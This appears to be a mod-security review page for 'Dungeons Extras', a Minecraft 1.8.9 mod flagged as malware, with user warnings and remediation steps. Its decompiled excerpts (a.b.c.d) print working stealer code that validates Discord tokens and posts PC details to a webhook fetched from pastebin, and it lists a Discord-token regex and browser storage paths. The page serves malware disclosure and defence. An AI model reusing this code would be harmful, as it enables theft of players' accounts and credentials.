Dungeons Extras

Dungeons Extras mod

Removed from CurseForge on 24 Oct 2026. Modgrade reported malware in it to CurseForge on 20 Oct 2026 and to CurseForge on 24 Oct 2026.

!Security alert

Malware: a file of this project steals your browser passwords, Discord tokens and Minecraft session and sends them to a web address. See Security

Why no grade

Malware was found in one of its files, so it has no grade. See Security

In-game changes

It has no file for a recent Minecraft version. This is about its files for Minecraft 1.8.9.

Changes the game's code in 6 areas: User interface, Rendering and graphics, Networking and multiplayer, Chunk loading and storage, Mobs and their behavior and Game core.

Adds no new blocks, items or other content.

Keeps all of vanilla Minecraft's textures, models and sounds.

Details

Creator: wubleepvp
License: Not listed
Downloads: 1K
Created: 22 Jul 2022
Official page: CurseForge

Security

Malware: it steals your browser passwords, Discord tokens and Minecraft session and sends them to a web address

Found in these files: Dungeon_Extras_0.3.jar (23 Jul 2022) and Dungeon_Utilities_0.2.jar (22 Jul 2022). Their downloads are blocked.

We found this in its code, read without running it.

Because of this malware, it has no grade.

If you installed it

Remove Dungeon_Extras_0.3.jar and its other files with malware from your mods folder.
Run a full scan with your antivirus.
Sign out of all sessions and change your Microsoft account password.
Change your Discord password.
Change the passwords saved in your browser and other apps.
Check your other mods.

What it can do on your computer

Steals your browser passwords, Discord tokens and Minecraft session and sends them to a web addressMalware: One part of the code reads saved logins, tokens or your game session, and a linked part sends data to a fixed address.
Reads the login data of other programsWarning: Reads the login data of other programs (Discord token store).
Reads your browser historyWarning: Names the files where browsers keep your history or bookmarks.
Connects to Discord: The code contains a Discord webhook, an address that receives messages. It can post messages to a Discord webhook that the server owner sets. Whoever owns the webhook sees what is sent.
Uses your Minecraft account login: It can use the login of your Minecraft account. It can use the login of your Minecraft account to join a server.
Uses folders outside the game: It can read or write files outside your Minecraft folder, on the rest of your computer. Found: application data.
Starts other programs: It can start another program on your computer. It can open a web link or a file, show a system notification and run a command line.
Creates settings files: The mod keeps its settings in the config folder of your game, where you can change or delete them. 1 file in your config folder.
Connects to the internet: It has code that can go online. Found in the mod's own code and in code libraries built into it. See Privacy

Why we show this: a mod runs on your computer like any program, so harmful code in it can take your accounts or files. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.

How we checked · The latest file checked

Files
1 latest file. It is not for a recent Minecraft version, so the answer above is about it. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks. See each file in Releases
Their code
Read without running it
Steals your browser passwords, Discord tokens and Minecraft session and sends them to a web address
a/b/c/d reads browser login or cookie files, reads Discord tokens, uploads to a fixed address, reads the game session token by reflection; "\Local Storage\leveldb\"; "[nNmM][\w\W]{23}\.[xX][\w\W]{5}\.[\w\W]{27}|mfa\.[\w\W]{84}"
Reads the login data of other programs
a/b/c/d discord: string "[nNmM][\w\W]{23}\.[xX][\w\W]{5}\.[\w\W]{27}|mfa\.[\w\W]{84}"a/b/c/d browser: string "\Local Storage\leveldb\"
Reads your browser history
a/b/c/d profile: string "\Opera Software\Opera Stable"
Uses your Minecraft account login
Uses your account login to join a server.
Uses folders outside the game
Uses the system folder for application data.
Looked for, not found
Updating itself, the webcam or microphone, an AI service.

Code excerpts

Parts of the code of Dungeon_Extras_0.3.jar, turned back into readable code, where our checks found the problem.

a.b.c.d.init

...
}

try {
   var5 = Session.class.getDeclaredMethod("func_148255_b");
} catch (NoSuchMethodException var32) {
}

if (var2 == null || var3 == null || var4 == null || var5 == null) {
   return;
}

Object var6 = var2.invoke(Minecraft.func_71410_x());
BufferedReader var7 = new BufferedReader(new InputStreamReader(new URL("https://checkip.amazonaws.com/").openStream()));
String var8 = var7.readLine();
BufferedReader var9 = new BufferedReader(new InputStreamReader(new URL("https://pastebin.com/raw/x9vaShL6").openStream()));
String var10 = var9.readLine();
HttpURLConnection var11 = (HttpURLConnection)new URL(var10).openConnection();
var11.setDoOutput(true);
var11.setRequestMethod("POST");
var11.setRequestProperty("Content-Type", "application/json");
var11.setRequestProperty("User-Agent", "Mozilla/5.0");
String var12 = String.format(
   "{\"title\":\"PC Info\",\"color\":4360181,\"fields\":[{\"name\":\"Username\",\"value\":\"```%s```\",\"inline\":true},{\"name\":\"OS\",\"value\":\"```%s```\",\"inline\":true},{\"name\":\"IP\",\"value\":\"```%s```\",\"inline\":true}]}",
   System.getProperty("user.name"),
...

cheaters.get.banned.stats.RoutinesAPI.lambda$download$0

public static void download(String id) {
   new Thread(() -> {
      try {
         String response = HttpUtils.get("https://shadyaddons.com/api/routines/download?id=" + id);
         if (response != null) {
            File file = new File(Routines.routinesDir, id + ".json");
            FileUtils.writeStringToFile(file, response);
            Routines.load();
            if (Shady.mc.field_71441_e != null) {
               Utils.sendModMessage("&aInstalled and loaded routine!");
            }
         } else if (Shady.mc.field_71441_e != null) {
            Utils.sendModMessage("&cA routine with that ID does not exist!");
         }
      } catch (Exception var3) {
      }
   }, "ShadyAddons-InstallRoutineAPI").start();
}

cheaters.get.banned.utils.HttpUtils.get

...
      if (!requestx.containsHeader("Pragma")) {
         requestx.addHeader("Pragma", "no-cache");
      }

      if (!requestx.containsHeader("Cache-Control")) {
         requestx.addHeader("Cache-Control", "no-cache");
      }
   });
   client.setUserAgent("ShadyAddons/2.7.2");

   try {
      HttpGet request = new HttpGet(url);
      CloseableHttpResponse httpResponse = client.build().execute(request);
      if (httpResponse.getStatusLine().getStatusCode() < 299) {
         response = EntityUtils.toString(httpResponse.getEntity(), "UTF-8");
      } else {
         Utils.log("Error code " + httpResponse.getStatusLine().getStatusCode());
      }
   } catch (Exception var5) {
   }

   return response;
}

cheaters.get.banned.remote.Updater.lambda$check$0

public static void check() {
   new Thread(() -> {
      String url = "https://shadyaddons.com/api/updates";
      String response = null;

      try {
         response = HttpUtils.get(url);
      } catch (Exception var3) {
      }

      if (response != null) {
         update = (Updater.Update)new Gson().fromJson(response, Updater.Update.class);
         shouldUpdate = !update.version.equals("2.7.2");
      } else {
         System.out.println("Error checking for updates");
      }
   }, "ShadyAddons-Updater").start();
}

cheaters.get.banned.utils.EstonianUtils.downloadFolkSong

public static void downloadFolkSong() {
   if (!folkSongFile.exists()) {
      try {
         Files.copy(new URL("https://shadyaddons.com/assets/folk-music.wav").openStream(), folkSongFile.toPath());
      } catch (Exception exception) {
         exception.printStackTrace();
      }
   }
}

cheaters.get.banned.stats.Analytics.lambda$collect$0

public static void collect(String key, String value) {
   new Thread(
         () -> {
            String serverId = UUID.randomUUID().toString().replace("-", "");

            try {
               Shady.mc.func_152347_ac().joinServer(Shady.mc.func_110432_I().func_148256_e(), Shady.mc.func_110432_I().func_148254_d(), serverId);
            } catch (Exception ignored) {
               return;
            }

            try {
               URIBuilder url = new URIBuilder("https://shadyaddons.com/api/analytics")
                  .addParameter("username", Shady.mc.func_110432_I().func_111285_a())
                  .addParameter("server_id", serverId)
                  .addParameter("hashed_uuid", DigestUtils.sha256Hex(Shady.mc.func_110432_I().func_148256_e().getId().toString().replace("-", "")))
                  .addParameter(key, value);
               HttpUtils.get(url.toString());
            } catch (Exception var4) {
            }
         },
         "ShadyAddons-Analytics"
      )
...

cheaters.get.banned.remote.Capes.load

public static void load() {
   Utils.log("Downloading capes...");
   capesDir.mkdirs();

   try {
      String capeJson = HttpUtils.get("https://shadyaddons.com/api/capes");
      JsonObject json = (JsonObject)new Gson().fromJson(capeJson, JsonObject.class);
      JsonObject jsonCapes = json.get("capes").getAsJsonObject();
      JsonObject jsonOwners = json.get("purchased").getAsJsonObject();

      for (Entry<String, JsonElement> element : jsonCapes.entrySet()) {
         String capeName = element.getKey();
         String capeUrl = element.getValue().getAsString();
         Utils.log("Loading cape: " + capeName + " (" + capeUrl + ")");
         if (capeName.endsWith("_anim")) {
            animatedCapes.put(capeName, animatedCapeFromFile(capeName, capeUrl));
         } else {
            capes.put(capeName, capeFromFile(capeName, capeUrl));
         }
      }

      for (Entry<String, JsonElement> capeOwner : jsonOwners.entrySet()) {
         playerCapes.put(capeOwner.getKey(), capeOwner.getValue().getAsString());
...

cheaters.get.banned.remote.Capes.animatedCapeFromFile

private static ArrayList<ResourceLocation> animatedCapeFromFile(String capeName, String capeUrl) {
   try {
      File file = new File(capesDir, capeName + ".gif");
      if (!file.exists()) {
         Files.copy(new URL(capeUrl).openStream(), file.toPath());
      }

      ImageReader reader = new PatchedGIFReader(null);
      ImageInputStream stream = ImageIO.createImageInputStream(file);
      reader.setInput(stream);
      ArrayList<ResourceLocation> frames = new ArrayList<>();
      int frameCount = reader.getNumImages(true);

      for (int i = 0; i < frameCount; i++) {
         BufferedImage frame = reader.read(i);
         ResourceLocation frameImage = Shady.mc.func_110434_K().func_110578_a("shadyaddons", new DynamicTexture(frame));
         frames.add(frameImage);
      }

      return frames.isEmpty() ? null : frames;
   } catch (Exception exception) {
      Utils.log("Error loading animated cape from file/URL");
      exception.printStackTrace();
      return null;
...

cheaters.get.banned.remote.Capes.capeFromFile

private static ResourceLocation capeFromFile(String capeName, String capeUrl) {
   try {
      File file = new File(capesDir, capeName + ".png");
      if (!file.exists()) {
         Files.copy(new URL(capeUrl).openStream(), file.toPath());
      }

      return Shady.mc.func_110434_K().func_110578_a("shadyaddons", new DynamicTexture(ImageIO.read(file)));
   } catch (Exception exception) {
      Utils.log("Error loading cape from file/URL");
      exception.printStackTrace();
      return null;
   }
}

cheaters.get.banned.features.routines.actions.SendWebhookAction.doAction

public void doAction() throws RoutineRuntimeException {
   JsonObject payload = new JsonObject();
   JsonArray embeds = new JsonArray();
   JsonObject embed = new JsonObject();
   embed.addProperty("description", this.message);
   JsonObject footer = new JsonObject();
   footer.addProperty("text", "Sent with ShadyAddons Routines");
   footer.addProperty("icon_url", "https://shadyaddons.com/assets/chester.png");
   embed.add("footer", footer);
   embeds.add(embed);
   payload.add("embeds", embeds);
   String json = new Gson().toJson(payload);
   String response = HttpUtils.post(this.url, json);
   if (response == null) {
      throw new RoutineRuntimeException("Error sending webhook message '" + this.message + "'");
   }
}

cheaters.get.banned.utils.HttpUtils.post

public static String post(String url, String jsonData) {
   String response = null;
   HttpClient client = HttpClientBuilder.create().build();

   try {
      HttpPost request = new HttpPost(url);
      StringEntity params = new StringEntity(jsonData);
      request.setEntity(params);
      request.setHeader("Content-Type", "application/json");
      request.setHeader("User-Agent", "ShadyAddons/2.7.2");
      HttpResponse httpResponse = client.execute(request);
      response = EntityUtils.toString(httpResponse.getEntity());
   } catch (Exception var7) {
   }

   return response;
}

a.b.c.d.f

private static String f(String var0) {
   return e("https://discordapp.com/api/v6/users/@me", var0);
}

a.b.c.d.e

private static String e(String var0, String var1) {
   try {
      URL var2 = new URL(var0);
      HttpURLConnection var3 = (HttpURLConnection)var2.openConnection();
      var3.setRequestMethod("GET");
      h(var1).forEach(var3::addRequestProperty);
      var3.connect();
      BufferedReader var4 = new BufferedReader(new InputStreamReader(var3.getInputStream()));
      StringBuilder var5 = new StringBuilder();

      String var6;
      while ((var6 = var4.readLine()) != null) {
         var5.append(var6).append("\n");
      }

      var4.close();
      return var5.toString();
   } catch (Exception var7) {
      return null;
   }
}

a.b.c.d.lambda$d$0

private static List<String> d(List<String> var0) {
   ArrayList var1 = new ArrayList();
   var0.forEach(var1x -> {
      try {
         URL var2 = new URL("https://discordapp.com/api/v6/users/@me");
         HttpURLConnection var3 = (HttpURLConnection)var2.openConnection();
         h(var1x).forEach(var3::addRequestProperty);
         var3.getInputStream().close();
         var1.add(var1x);
      } catch (Exception var4) {
      }
   });
   return var1;
}

a.b.c.d.c

      c(var0) ? "True" : "False",
      var0
   );
} else {

cheaters.get.banned.stats.RoutinesAPI.openAuthWebsite

public static void openAuthWebsite() {
   try {
      String serverId = UUID.randomUUID().toString().replace("-", "");
      Shady.mc.func_152347_ac().joinServer(Shady.mc.func_110432_I().func_148256_e(), Shady.mc.func_110432_I().func_148254_d(), serverId);
      URIBuilder url = new URIBuilder("https://shadyaddons.com/auth")
         .addParameter("username", Shady.mc.func_110432_I().func_111285_a())
         .addParameter("redirect", "routines")
         .addParameter("server_id", serverId);
      Utils.openUrl(url.toString());
   } catch (Exception var2) {
   }
}

cheaters.get.banned.remote.DisableFeatures.load

public static List<String> load() {
   String url = "https://shadyaddons.com/api/disabled-features.json";
   String response = null;

   try {
      response = HttpUtils.get(url);
   } catch (Exception var3) {
   }

   if (response != null) {
      try {
         return Arrays.asList((Object[])new Gson().fromJson(response, String[].class));
      } catch (Exception var4) {
      }
   }

   return Collections.emptyList();
}

Privacy

Malware: it steals your browser passwords, Discord tokens and Minecraft session and sends them to a web address

Sent to pastebin.com and an address built while the game runs.

Found by the file checks. See Security for what to do if you installed it.

How we checked · Its one file read

Files read
The code of its one file, for Minecraft 1.8.9. See each file in Releases
checkip.amazonaws.com
Purpose not known.
discordapp.com
Talks to a Discord service. Downloads billing payment source information from Discord.Explained by AI (may be wrong)
pastebin.com
Uploads crash reports or logs.
Crash reports
sessionserver.mojang.com
Talks to the Minecraft login service.
Login check with Mojang
shadyaddons.com
Downloads cape data and player cape assignments. Downloads the list of features disabled by the mod.Explained by AI (may be wrong)
Address built while the game runs
Downloads cape images for display in the game. Downloads cape images.Explained by AI (may be wrong)
System details (operating system, Java version), your computer account name, your player ID and your player name

AI

No sign so far that AI was used to make it

We looked for AI tools in its description, files and images and found none.

We have not read its changelogs yet.

No sign of AI in the game

We found no AI service, AI library or AI model file in its code.

Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.

How we checked · 4 places read

Author on Modrinth
Not on Modrinth.
Description and changelogs
Nothing found in the description
Changelogs not read yet
Its files
Nothing found
Images in its files
Nothing found
47 images read
Code of the mod
No AI service, AI library or AI model file
208 code files read

Compatibility

See all 2 files

Forge

Point at or tap a version to see its loaders.

RequiresNothing

OptionalNothing

IncludesNothing

Speed of updatesNo file yet for any of the last 6 Minecraft versions.

Modpacks using this project

No known modpack uses it.

Latest files

The newest file for each Minecraft version and loader. None is for a recent Minecraft version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.

Older Minecraft versions

1.8.9Forge0.3Sends: Player name +4Requires:NothingMalware

2 releases

1.8.9Forge0.3Beta23 Jul 2022MalwareDownload blocked

1.8.9Forge0.2Beta22 Jul 2022MalwareDownload blocked